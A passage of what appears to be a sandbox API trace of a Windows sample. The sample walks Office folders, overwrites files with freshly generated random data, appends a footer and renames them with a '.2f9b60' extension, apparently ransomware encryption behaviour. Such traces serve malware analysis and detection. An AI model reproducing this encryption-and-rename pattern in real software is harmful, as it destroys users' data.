Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.763] wcscat (in: _Dest=0x1b863170, _Source="WB02106_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" [0097.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7cc [0097.764] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0097.764] wcscmp (_String1="WB02116_.GIF", _String2=".") returned 1 [0097.764] wcscmp (_String1="WB02116_.GIF", _String2="..") returned 1 [0097.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b863220 [0097.764] wcscpy (in: _Dest=0x1b863220, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.764] wcscat (in: _Dest=0x1b863220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.764] wcscat (in: _Dest=0x1b863220, _Source="WB02116_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" [0097.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0097.765] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0097.765] wcscmp (_String1="WB02134_.GIF", _String2=".") returned 1 [0097.765] wcscmp (_String1="WB02134_.GIF", _String2="..") returned 1 [0097.765] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8632d0 [0097.765] wcscpy (in: _Dest=0x1b8632d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.765] wcscat (in: _Dest=0x1b8632d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.765] wcscat (in: _Dest=0x1b8632d0, _Source="WB02134_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" [0097.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8632d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d0 [0097.766] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0097.766] wcscmp (_String1="WB02187_.GIF", _String2=".") returned 1 [0097.766] wcscmp (_String1="WB02187_.GIF", _String2="..") returned 1 [0097.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b863380 [0097.766] wcscpy (in: _Dest=0x1b863380, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.766] wcscat (in: _Dest=0x1b863380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.766] wcscat (in: _Dest=0x1b863380, _Source="WB02187_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" [0097.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0097.767] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0097.767] wcscmp (_String1="WB02198_.GIF", _String2=".") returned 1 [0097.767] wcscmp (_String1="WB02198_.GIF", _String2="..") returned 1 [0097.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac0b0 [0097.767] wcscpy (in: _Dest=0x202ac0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.767] wcscat (in: _Dest=0x202ac0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.767] wcscat (in: _Dest=0x202ac0b0, _Source="WB02198_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" [0097.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0 [0097.768] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0097.768] wcscmp (_String1="WB02201_.GIF", _String2=".") returned 1 [0097.768] wcscmp (_String1="WB02201_.GIF", _String2="..") returned 1 [0097.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac160 [0097.768] wcscpy (in: _Dest=0x202ac160, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.768] wcscat (in: _Dest=0x202ac160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.768] wcscat (in: _Dest=0x202ac160, _Source="WB02201_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" [0097.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0097.769] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0097.769] wcscmp (_String1="WB02214_.GIF", _String2=".") returned 1 [0097.769] wcscmp (_String1="WB02214_.GIF", _String2="..") returned 1 [0097.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac210 [0097.769] wcscpy (in: _Dest=0x202ac210, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.769] wcscat (in: _Dest=0x202ac210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.769] wcscat (in: _Dest=0x202ac210, _Source="WB02214_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" [0097.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0097.770] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0097.770] wcscmp (_String1="WB02218_.GIF", _String2=".") returned 1 [0097.770] wcscmp (_String1="WB02218_.GIF", _String2="..") returned 1 [0097.770] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ac2c0 [0097.770] wcscpy (in: _Dest=0x202ac2c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.770] wcscat (in: _Dest=0x202ac2c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.770] wcscat (in: _Dest=0x202ac2c0, _Source="WB02218_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" [0097.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ac2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4 [0097.771] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0097.771] FindClose (in: hFindFile=0x1cd9c5b0 | out: hFindFile=0x1cd9c5b0) returned 1 [0097.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62f00) returned 1 [0097.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d380) returned 1 [0097.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ca80) returned 1 Thread: id = 577 os_tid = 0xed4 [0094.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml")) returned 0x20 [0094.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml", dwFileAttributes=0x20) returned 1 [0094.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdfc [0094.712] GetFileSizeEx (in: hFile=0xdfc, lpFileSize=0x1e8ffaa0 | out: lpFileSize=0x1e8ffaa0*=928) returned 1 [0094.712] SetFilePointerEx (in: hFile=0xdfc, liDistanceToMove=0x39c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.712] ReadFile (in: hFile=0xdfc, lpBuffer=0x1e8ffa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e8ffa68, lpOverlapped=0x0 | out: lpBuffer=0x1e8ffa20*, lpNumberOfBytesRead=0x1e8ffa68*=0x4, lpOverlapped=0x0) returned 1 [0094.714] SetFilePointerEx (in: hFile=0xdfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0094.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0094.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.714] NtQuerySystemTime (in: CurrentTime=0x1e8ff960 | out: CurrentTime=0x1e8ff960*=132462177005494000) returned 0x0 [0094.714] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x2cf92c1d [0094.714] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x73756aca [0094.714] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x3760771 [0094.714] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x721ea12f [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x270d9e77 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x3c1adec2 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x250a00e9 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x28ad57d9 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x3bdcf9c9 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x60a92b3d [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x16ff1bf6 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x4eda4163 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x11e8b881 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x5fdd006a [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x654bef5c [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x2162cc84 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x4356d784 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x3b56571e [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x6b5bd921 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x13e0d4f2 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x67cc8a83 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x40aa0978 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x3015d574 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x5c408dcb [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x4064ec87 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x443a023b [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x799194f7 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x18ebbb97 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x1adf678e [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0xa746a22 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x23dea675 [0094.715] RtlRandomEx (in: Seed=0x1e8ff950 | out: Seed=0x1e8ff950) returned 0x7c9e01a4 [0094.724] ReadFile (in: hFile=0xdfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x1e8ff950, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x1e8ff950*=0x3a0, lpOverlapped=0x0) returned 1 [0094.724] SetFilePointerEx (in: hFile=0xdfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.724] WriteFile (in: hFile=0xdfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1e8ff954, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x1e8ff954*=0x3a0, lpOverlapped=0x0) returned 1 [0094.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe50 [0094.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0094.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd30) returned 1 [0094.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0094.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0094.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8664c0) returned 1 [0094.731] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0094.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85fd30 [0094.731] SetFilePointerEx (in: hFile=0xdfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0094.731] WriteFile (in: hFile=0xdfc, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x1e8ffa70, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x1e8ffa70*=0x10c, lpOverlapped=0x0) returned 1 [0094.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0094.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0094.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fca0 [0094.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fca0) returned 1 [0094.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85fca0 [0094.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb20 [0094.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fb80 [0094.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fb80) returned 1 [0094.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0094.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0094.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f170 [0094.749] sprintf (in: _Dest=0x1cd9f170, _Format="%c%c" | out: _Dest="5c") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f172, _Format="%c%c" | out: _Dest="36") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f174, _Format="%c%c" | out: _Dest="7c") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f176, _Format="%c%c" | out: _Dest="a2") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f178, _Format="%c%c" | out: _Dest="6d") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f17a, _Format="%c%c" | out: _Dest="92") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f17c, _Format="%c%c" | out: _Dest="75") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f17e, _Format="%c%c" | out: _Dest="dc") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f180, _Format="%c%c" | out: _Dest="27") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f182, _Format="%c%c" | out: _Dest="82") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f184, _Format="%c%c" | out: _Dest="db") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f186, _Format="%c%c" | out: _Dest="b5") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f188, _Format="%c%c" | out: _Dest="1a") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f18a, _Format="%c%c" | out: _Dest="fb") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f18c, _Format="%c%c" | out: _Dest="08") returned 2 [0094.749] sprintf (in: _Dest=0x1cd9f18e, _Format="%c%c" | out: _Dest="3f") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f190, _Format="%c%c" | out: _Dest="67") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f192, _Format="%c%c" | out: _Dest="9a") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f194, _Format="%c%c" | out: _Dest="aa") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f196, _Format="%c%c" | out: _Dest="bc") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f198, _Format="%c%c" | out: _Dest="4c") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f19a, _Format="%c%c" | out: _Dest="a2") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f19c, _Format="%c%c" | out: _Dest="cb") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f19e, _Format="%c%c" | out: _Dest="e5") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f1a0, _Format="%c%c" | out: _Dest="bc") returned 2 [0094.750] sprintf (in: _Dest=0x1cd9f1a2, _Format="%c%c" | out: _Dest="ac") returned 2 [0094.750] RtlInitAnsiString (in: DestinationString=0x1e8ffae8, SourceString="5c367ca26d9275dc2782dbb51afb083f679aaabc4ca2cbe5bcac" | out: DestinationString="5c367ca26d9275dc2782dbb51afb083f679aaabc4ca2cbe5bcac") [0094.750] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e8ffab8, SourceString="5c367ca26d9275dc2782dbb51afb083f679aaabc4ca2cbe5bcac", AllocateDestinationString=1 | out: DestinationString="5c367ca26d9275dc2782dbb51afb083f679aaabc4ca2cbe5bcac") returned 0x0 [0094.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866840 [0094.750] wcscat (in: _Dest=0x1079c0, _Source="5c367ca26d927" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5c367ca26d927") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5c367ca26d927" [0094.750] wcscat (in: _Dest=0x1079c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5c367ca26d927.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5c367ca26d927.2f9b60" [0094.750] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5c367ca26d927.2f9b60", NtPathName=0x1e8ffa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\5c367ca26d927.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0094.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1b776690 [0094.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0094.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0094.753] NtQueryInformationFile (in: FileHandle=0xdfc, IoStatusBlock=0x1e8ffaf8, 